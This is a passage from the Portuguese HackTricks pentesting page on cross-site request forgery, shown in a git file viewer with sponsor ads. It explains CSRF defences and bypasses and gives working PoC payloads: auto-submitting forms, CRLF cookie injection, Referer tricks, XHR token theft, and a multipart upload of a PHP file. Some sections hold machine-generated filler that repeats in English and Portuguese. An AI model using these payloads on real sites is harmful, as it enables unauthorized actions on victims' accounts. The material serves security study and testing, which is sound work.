hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

903 lines
49 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# CSRF (Cross Site Request Forgery)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-06 18:56:34 +00:00
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
2023-02-27 09:28:45 +00:00
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
2023-02-27 09:28:45 +00:00
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
2023-02-27 09:28:45 +00:00
**Torne-se a lenda do hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
## O que é CSRF?
**Cross-site request forgery** (também conhecido como CSRF) é uma vulnerabilidade de segurança na web que permite a um atacante **induzir os usuários a realizar ações que eles não pretendem realizar**.\
Isso é feito **fazendo um usuário logado** na plataforma da vítima acessar um site controlado pelo atacante e a partir daí **executar** código JS malicioso, enviar formulários ou recuperar "imagens" para a **conta da vítima**.
2023-06-06 18:56:34 +00:00
### Requisitos
Para ser capaz de explorar uma vulnerabilidade CSRF, você primeiro precisa **encontrar uma ação relevante para explorar** (alterar senha ou email, fazer a vítima seguir você em uma rede social, dar a você mais privilégios...). A **sessão deve depender apenas de cookies ou do cabeçalho de autenticação básica HTTP**, nenhum outro cabeçalho pode ser usado para manipular a sessão. E finalmente, não deve haver **parâmetros imprevisíveis** na solicitação.
2023-06-06 18:56:34 +00:00
Várias **contramedidas** podem ser implementadas para evitar essa vulnerabilidade.
2023-06-06 18:56:34 +00:00
### **Defesas comuns**
* [**Cookies SameSite**](hacking-with-cookies/#samesite): Se o cookie de sessão estiver usando essa flag, você pode não ser capaz de enviar o cookie de sites arbitrários.
* [**Compartilhamento de recursos entre origens**](cors-bypass.md): Dependendo do tipo de solicitação HTTP que você precisa fazer para explorar a ação relevante, você pode levar em consideração a **política CORS do site da vítima**. _Observe que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta._
* Solicitar a **senha** do usuário para autorizar a ação.
* Resolver um **captcha**
* Ler os cabeçalhos **Referrer** ou **Origin**. Se uma expressão regular for usada, ela poderá ser contornada, por exemplo, com:
* http://mal.net?orig=http://example.com (termina com a URL)
* http://example.com.mal.net (começa com a URL)
* **Modificar** o **nome** dos **parâmetros** da solicitação POST ou GET
* Usar um **token CSRF** em cada sessão. Esse token deve ser enviado dentro da solicitação para confirmar a ação. Esse token pode ser protegido com CORS.
2023-06-06 18:56:34 +00:00
### Mapa CSRF
![](<../.gitbook/assets/image (112).png>)
## Bypass de Defesas
2023-06-06 18:56:34 +00:00
### De POST para GET
Talvez o formulário que você deseja explorar esteja preparado para enviar uma **solicitação POST com um token CSRF**, mas você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.
2023-06-06 18:56:34 +00:00
### Falta de token
Algumas aplicações validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido.\
Nessa situação, o atacante pode **remover o parâmetro inteiro** que contém o token (não apenas o valor) para contornar a validação e realizar um ataque CSRF.
2023-06-06 18:56:34 +00:00
### Token CSRF não está vinculado à sessão do usuário
Algumas aplicações **não validam que o token pertence à mesma sessão** do usuário que está fazendo a solicitação. Em vez disso, a aplicação **mantém um pool global de tokens** que emitiu e aceita qualquer token que apareça nesse pool.\
Nessa situação, o atacante pode fazer login na aplicação usando sua própria conta, **obter um token válido** e, em seguida, **enviar esse token para o usuário vítima** em seu ataque CSRF.
2023-06-06 18:56:34 +00:00
### Bypass de método
2023-06-06 18:56:34 +00:00
Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.\
Por exemplo, se estiver **usando o método PUT**, você pode tentar **usar o método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
2023-06-06 18:56:34 +00:00
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
### Bypass personalizado de token de cabeçalho
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como método de **proteção CSRF**, então:
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho**.
* Teste a solicitação com um **token diferente, mas com o mesmo comprimento**.
### O token CSRF é verificado por um cookie
Em uma variação adicional da vulnerabilidade anterior, alguns aplicativos **duplicam cada token em um cookie e em um parâmetro de solicitação**. Ou o **configuram um cookie csrf** e **verificam no backend se o token csrf enviado é o relacionado ao cookie**.
Quando a solicitação subsequente é validada, o aplicativo simplesmente verifica se o **token** enviado no **parâmetro de solicitação corresponde** ao valor armazenado pelo **cookie**.\
Nessa situação, o atacante pode novamente realizar um ataque CSRF **se o site conter alguma vulnerabilidade que permita que ele configure seu cookie CSRF para a vítima, como um CRLF**.
2021-11-30 16:46:07 +00:00
Nesse caso, você pode configurar o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF, como neste exemplo:
2021-11-30 16:46:07 +00:00
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
2021-11-30 16:46:07 +00:00
</html>
```
{% hint style="info" %}
Observe que se o **token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará** porque você precisará definir a sessão da vítima e, portanto, estará atacando a si mesmo.
2021-11-30 16:46:07 +00:00
{% endhint %}
### Alteração do Content-Type
2020-08-10 09:56:57 +00:00
De acordo com [**isso**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, esses são os valores permitidos para o Content-Type:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
2023-06-06 18:56:34 +00:00
No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, portanto, você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
2022-04-22 08:32:18 +00:00
Exemplo (de [aqui](https://brycec.me/posts/corctf\_2021\_challenges)) de envio de dados JSON como text/plain:
2022-04-22 08:32:18 +00:00
```html
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
2022-04-22 08:32:18 +00:00
</html>
```
### Bypassar solicitação de pré-voo de aplicativo/json
2022-04-22 08:32:18 +00:00
2023-06-06 18:56:34 +00:00
Como você já sabe, não é possível enviar uma solicitação POST com o Content-Type **`application/json`** via formulário HTML e, se você tentar fazer isso via **`XMLHttpRequest`**, uma solicitação de pré-voo é enviada primeiro.\
No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo **`text/plain`** e **`application/x-www-form-urlencoded`** apenas para verificar se o backend está usando os dados independentemente do Content-Type.\
Você pode enviar um formulário usando `Content-Type: text/plain` definindo **`enctype="text/plain"`**
2023-06-06 18:56:34 +00:00
Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode **enviar o tipo de conteúdo "text/plain; application/json"** sem acionar uma solicitação de pré-voo.
Você também pode tentar **burlar** essa restrição usando um **arquivo SWF flash**. Para mais informações, [**leia este post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
2022-02-21 15:48:28 +00:00
### Bypass de verificação de Referrer / Origin
**Evite o cabeçalho Referer**
Alguns aplicativos validam o cabeçalho Referer quando ele está presente nas solicitações, mas **ignoram a validação se o cabeçalho for omitido**.
```markup
<meta name="referrer" content="never">
```
2023-06-06 18:56:34 +00:00
**Burlas de Regexp**
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
2021-11-30 16:46:07 +00:00
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
2021-11-30 16:46:07 +00:00
</html>
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
2022-10-27 23:22:18 +00:00
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
2023-02-27 09:28:45 +00:00
**Torne-se uma lenda hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
2023-02-27 09:28:45 +00:00
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
2022-10-27 23:22:18 +00:00
{% embed url="https://hackenproof.com/register" %}
2023-06-06 18:56:34 +00:00
## **Exemplos de Exploração**
### **Exfiltrando o Token CSRF**
Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
2023-06-06 18:56:34 +00:00
### **GET usando tags HTML**
```markup
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
2023-06-06 18:56:34 +00:00
Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:
![](<../.gitbook/assets/image (530).png>)
2023-06-06 18:56:34 +00:00
### Solicitação GET de formulário
```markup
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### Requisição POST de formulário
A técnica de Cross-Site Request Forgery (CSRF) explora a confiança que um site tem em um usuário autenticado para realizar ações indesejadas em seu nome. Uma das maneiras mais comuns de realizar um ataque CSRF é através de uma requisição POST de formulário.
#### Como funciona?
1. O atacante cria uma página maliciosa contendo um formulário que realiza uma ação específica no site alvo, como alterar a senha do usuário.
2. O usuário autenticado visita a página maliciosa.
3. O formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada do usuário.
4. O site alvo processa a requisição POST, acreditando que foi enviada pelo usuário legítimo.
5. A ação maliciosa é executada no site alvo, como alterar a senha do usuário.
#### Prevenção
Existem várias medidas que podem ser tomadas para prevenir ataques CSRF:
- Utilizar tokens CSRF: Adicionar um token único e secreto em cada formulário e verificar sua validade no processamento da requisição POST.
- Verificar a origem da requisição: Validar o cabeçalho "Referer" ou "Origin" para garantir que a requisição venha de um site confiável.
- Implementar políticas de SameSite: Configurar cookies com a opção "SameSite" para restringir o envio de cookies em requisições de terceiros.
- Utilizar cabeçalhos de proteção: Configurar cabeçalhos HTTP como "X-Requested-With" ou "Content-Type" para evitar requisições maliciosas.
#### Conclusão
A técnica de CSRF é uma ameaça séria à segurança dos aplicativos web. É importante que os desenvolvedores implementem medidas de prevenção adequadas para proteger seus usuários contra esse tipo de ataque.
```markup
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
2021-06-04 23:20:57 +00:00
```
### Requisição POST de formulário por meio de iframe
Uma técnica comum para realizar um ataque de falsificação de solicitação entre sites (CSRF) é enviar uma requisição POST de formulário por meio de um elemento `<iframe>`. Isso permite que um invasor engane o navegador do usuário para que ele envie uma solicitação não autorizada em nome do usuário autenticado.
O processo geral para realizar esse ataque é o seguinte:
1. O invasor cria um site malicioso que contém um formulário HTML.
2. O formulário é configurado para enviar uma requisição POST para o alvo desejado.
3. O invasor incorpora o formulário em uma página legítima usando um elemento `<iframe>`.
4. Quando um usuário visita a página legítima, o formulário é carregado no `<iframe>`.
5. O navegador do usuário envia automaticamente a requisição POST para o alvo desejado, incluindo quaisquer cookies de autenticação válidos.
6. O alvo processa a requisição como se fosse legítima, pois não pode distinguir entre uma solicitação enviada pelo usuário ou por um atacante.
Para se proteger contra ataques CSRF, é recomendado implementar medidas de segurança, como o uso de tokens CSRF, que são valores únicos gerados pelo servidor e incluídos em cada formulário. Esses tokens são verificados pelo servidor para garantir que a solicitação seja legítima e não tenha sido gerada por um atacante.
É importante estar ciente dessa técnica de ataque e tomar as medidas adequadas para proteger os aplicativos da web contra ataques CSRF.
2021-06-04 23:20:57 +00:00
```markup
<!--
The request is sent through the iframe withuot reloading the page
2021-06-04 23:20:57 +00:00
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
2021-06-04 23:20:57 +00:00
</html>
```
2023-06-06 18:56:34 +00:00
### **Requisição POST Ajax**
Uma requisição POST Ajax é uma técnica usada para enviar dados para um servidor sem recarregar a página. Isso é feito usando a função `$.ajax()` do jQuery ou a classe `XMLHttpRequest` do JavaScript puro.
A requisição POST Ajax é frequentemente usada em ataques de falsificação de solicitação entre sites (CSRF), onde um invasor engana um usuário autenticado a executar ações indesejadas em um site sem o seu conhecimento.
Durante um ataque CSRF, o invasor cria um formulário malicioso em um site controlado por ele e o envia para a vítima. Quando a vítima visita o site malicioso, o formulário é automaticamente enviado para o site alvo, aproveitando a sessão autenticada da vítima. Isso permite que o invasor execute ações em nome da vítima, como fazer uma transferência de fundos, alterar senhas ou excluir dados.
Para se proteger contra ataques CSRF, os desenvolvedores devem implementar medidas de segurança, como tokens CSRF, que são valores únicos gerados pelo servidor e incluídos em formulários ou cabeçalhos de solicitação. O servidor verifica se o token é válido antes de processar a solicitação.
Os testadores de penetração podem explorar vulnerabilidades de CSRF em um site para demonstrar a sua existência e fornecer recomendações para corrigi-las.
```markup
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
2021-06-05 01:10:15 +00:00
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
2021-06-05 01:10:15 +00:00
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
2021-06-05 01:10:15 +00:00
})
</script>
```
### Requisição POST multipart/form-data
A requisição POST multipart/form-data é um tipo de requisição utilizada para enviar dados binários ou arquivos para um servidor. É comumente utilizada em formulários de upload de arquivos.
Nessa requisição, os dados são enviados no corpo da requisição em um formato especial, onde cada campo é separado por um delimitador e possui um cabeçalho indicando o tipo de conteúdo. Isso permite que diferentes tipos de dados sejam enviados simultaneamente.
Para realizar uma requisição POST multipart/form-data, é necessário definir o cabeçalho `Content-Type` como `multipart/form-data` e montar o corpo da requisição de acordo com o formato especificado.
Exemplo de requisição POST multipart/form-data:
```http
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890
-----------------------------1234567890
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg
[conteúdo binário do arquivo]
-----------------------------1234567890
Content-Disposition: form-data; name="description"
Descrição do arquivo
-----------------------------1234567890--
```
Nesse exemplo, a requisição é enviada para o endpoint `/upload` do servidor `example.com`. O corpo da requisição contém dois campos: `file` e `description`. O campo `file` contém um arquivo com o nome `example.jpg` e o campo `description` contém uma descrição do arquivo.
É importante ressaltar que a requisição POST multipart/form-data é vulnerável a ataques de Cross-Site Request Forgery (CSRF), onde um atacante pode forjar uma requisição em nome do usuário autenticado. Portanto, é recomendado implementar mecanismos de proteção, como tokens CSRF, para mitigar esse tipo de ataque.
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### Requisição POST multipart/form-data v2
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.
Nesta técnica, exploraremos como realizar um ataque de Cross-Site Request Forgery (CSRF) usando uma requisição POST multipart/form-data.
#### Introduction
#### Introdução
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into submitting a malicious request. This attack occurs when a malicious website or application forces the victim's browser to make a request to a target website where the victim is authenticated.
Cross-Site Request Forgery (CSRF) é um ataque que engana a vítima a enviar uma requisição maliciosa. Esse ataque ocorre quando um site ou aplicativo malicioso força o navegador da vítima a fazer uma requisição para um site alvo onde a vítima está autenticada.
#### Exploiting CSRF with multipart/form-data POST request
#### Explorando CSRF com requisição POST multipart/form-data
1. Identify the target website that is vulnerable to CSRF.
1. Identifique o site alvo que é vulnerável a CSRF.
2. Analyze the target website's functionality and identify a form or action that performs a sensitive action, such as changing the user's password or making a financial transaction.
2. Analise a funcionalidade do site alvo e identifique um formulário ou ação que execute uma ação sensível, como alterar a senha do usuário ou realizar uma transação financeira.
3. Craft a malicious HTML page or email that includes a form with the target website's action URL and necessary input fields.
3. Crie uma página HTML ou e-mail malicioso que inclua um formulário com a URL de ação do site alvo e os campos de entrada necessários.
4. Include a hidden input field with the CSRF token value obtained from the target website.
4. Inclua um campo de entrada oculto com o valor do token CSRF obtido do site alvo.
5. Trick the victim into visiting the malicious page or clicking on the malicious email.
5. Engane a vítima para visitar a página maliciosa ou clicar no e-mail malicioso.
6. When the victim submits the form, the browser will automatically send the multipart/form-data POST request to the target website, performing the sensitive action.
6. Quando a vítima enviar o formulário, o navegador enviará automaticamente a requisição POST multipart/form-data para o site alvo, executando a ação sensível.
7. The target website will process the request, considering it legitimate since it came from the victim's browser with valid authentication cookies.
7. O site alvo processará a requisição, considerando-a legítima, uma vez que veio do navegador da vítima com cookies de autenticação válidos.
8. The sensitive action will be performed on behalf of the victim without their knowledge or consent.
8. A ação sensível será realizada em nome da vítima sem o seu conhecimento ou consentimento.
#### Mitigating CSRF Attacks
#### Mitigando Ataques CSRF
To mitigate CSRF attacks, web developers can implement the following measures:
Para mitigar ataques CSRF, os desenvolvedores web podem implementar as seguintes medidas:
1. Implement CSRF tokens: Include unique tokens in each form or action that require user authentication. These tokens should be validated on the server-side to ensure that the request is legitimate.
1. Implemente tokens CSRF: Inclua tokens únicos em cada formulário ou ação que exija autenticação do usuário. Esses tokens devem ser validados no lado do servidor para garantir que a requisição seja legítima.
2. Use the SameSite attribute: Set the SameSite attribute to "Strict" or "Lax" on cookies to prevent them from being sent in cross-origin requests.
2. Use o atributo SameSite: Defina o atributo SameSite como "Strict" ou "Lax" nos cookies para evitar que sejam enviados em requisições de origem cruzada.
3. Implement CAPTCHAs: Use CAPTCHAs to verify that the request is being made by a human and not an automated script.
3. Implemente CAPTCHAs: Use CAPTCHAs para verificar se a requisição está sendo feita por um humano e não por um script automatizado.
By implementing these measures, web developers can significantly reduce the risk of CSRF attacks on their websites.
Ao implementar essas medidas, os desenvolvedores web podem reduzir significativamente o risco de ataques CSRF em seus sites.
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### Solicitação POST de formulário de dentro de um iframe
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when an attacker tricks a user into submitting a form without their knowledge or consent.
Quando um formulário HTML é enviado, o navegador envia uma solicitação POST para a URL especificada. Esse comportamento pode ser explorado em um ataque de falsificação de solicitação entre sites (CSRF) quando um invasor engana um usuário para enviar um formulário sem o seu conhecimento ou consentimento.
To execute a CSRF attack from within an iframe, the attacker can create a hidden form on their malicious website. This form can be automatically submitted using JavaScript, without the user's interaction. By embedding this iframe in a legitimate website, the attacker can trick the user's browser into sending the form data to the target website.
Para executar um ataque CSRF de dentro de um iframe, o invasor pode criar um formulário oculto em seu site malicioso. Este formulário pode ser enviado automaticamente usando JavaScript, sem a interação do usuário. Ao incorporar esse iframe em um site legítimo, o invasor pode enganar o navegador do usuário para enviar os dados do formulário para o site alvo.
To prevent CSRF attacks, web developers can implement countermeasures such as using anti-CSRF tokens. These tokens are unique values generated by the server and included in the form. When the form is submitted, the server verifies the token to ensure that the request is legitimate.
Para prevenir ataques CSRF, os desenvolvedores web podem implementar contramedidas, como o uso de tokens anti-CSRF. Esses tokens são valores únicos gerados pelo servidor e incluídos no formulário. Quando o formulário é enviado, o servidor verifica o token para garantir que a solicitação seja legítima.
By validating the origin of the request and implementing proper security measures, web applications can protect against CSRF attacks and ensure the integrity of user data.
Ao validar a origem da solicitação e implementar medidas de segurança adequadas, as aplicações web podem se proteger contra ataques CSRF e garantir a integridade dos dados do usuário.
```markup
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **Roubar o Token CSRF e enviar uma requisição POST**
Um ataque de falsificação de solicitação entre sites (CSRF) ocorre quando um invasor engana um usuário autenticado a executar ações indesejadas em um aplicativo da web no qual o usuário está autenticado. Para realizar esse ataque, o invasor precisa roubar o token CSRF do usuário e enviá-lo em uma requisição POST.
Existem várias maneiras de roubar o token CSRF de um usuário. Alguns métodos comuns incluem:
- Engenharia social: o invasor pode enganar o usuário para que ele clique em um link malicioso ou visite um site comprometido que execute um script para roubar o token CSRF.
- Cross-Site Scripting (XSS): se o aplicativo da web for vulnerável a XSS, o invasor pode injetar um script malicioso que rouba o token CSRF do usuário.
- Ataques de força bruta: o invasor pode tentar adivinhar o token CSRF por meio de tentativas repetidas.
Depois de obter o token CSRF, o invasor pode enviá-lo em uma requisição POST para executar ações indesejadas em nome do usuário autenticado. Isso pode incluir alterar informações do usuário, fazer compras não autorizadas ou realizar outras atividades maliciosas.
Para se proteger contra ataques CSRF, os desenvolvedores devem implementar medidas de segurança, como:
- Usar tokens CSRF exclusivos e aleatórios para cada sessão do usuário.
- Validar o token CSRF em todas as requisições POST para garantir que ele seja válido e corresponda ao usuário autenticado.
- Implementar políticas de SameSite para cookies para limitar a execução de solicitações de origem cruzada.
Os usuários também podem tomar medidas para se proteger contra ataques CSRF, como:
- Não clicar em links suspeitos ou visitar sites não confiáveis.
- Manter o software do navegador e do sistema operacional atualizado para corrigir quaisquer vulnerabilidades conhecidas.
- Usar extensões de navegador que bloqueiam scripts maliciosos e protegem contra ataques de XSS.
Ao estar ciente dos riscos e implementar medidas de segurança adequadas, os desenvolvedores e usuários podem reduzir significativamente a probabilidade de sucesso de um ataque CSRF.
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
2023-06-06 18:56:34 +00:00
### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax**
Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa em seu nome. Isso pode ser feito usando um iframe, um formulário ou Ajax.
#### Usando um iframe:
1. O atacante cria um site malicioso que contém um iframe apontando para o alvo legítimo.
2. O iframe é carregado no navegador do usuário alvo, fazendo com que o token CSRF seja enviado automaticamente para o site malicioso.
3. O atacante extrai o token CSRF do iframe usando JavaScript.
4. O atacante usa o token CSRF roubado para enviar uma solicitação POST maliciosa para o alvo legítimo, executando a ação desejada.
2023-06-06 18:56:34 +00:00
#### Usando um formulário:
2023-06-06 18:56:34 +00:00
1. O atacante cria um formulário malicioso em seu site.
2. O formulário é preenchido com os dados necessários para a solicitação POST maliciosa, incluindo o token CSRF roubado.
3. O atacante usa JavaScript para enviar automaticamente o formulário assim que a página é carregada no navegador do usuário alvo.
4. O formulário é enviado para o alvo legítimo, executando a ação desejada usando o token CSRF roubado.
#### Usando Ajax:
1. O atacante cria uma solicitação Ajax maliciosa em seu site.
2. A solicitação Ajax é configurada para enviar uma solicitação POST para o alvo legítimo, incluindo o token CSRF roubado.
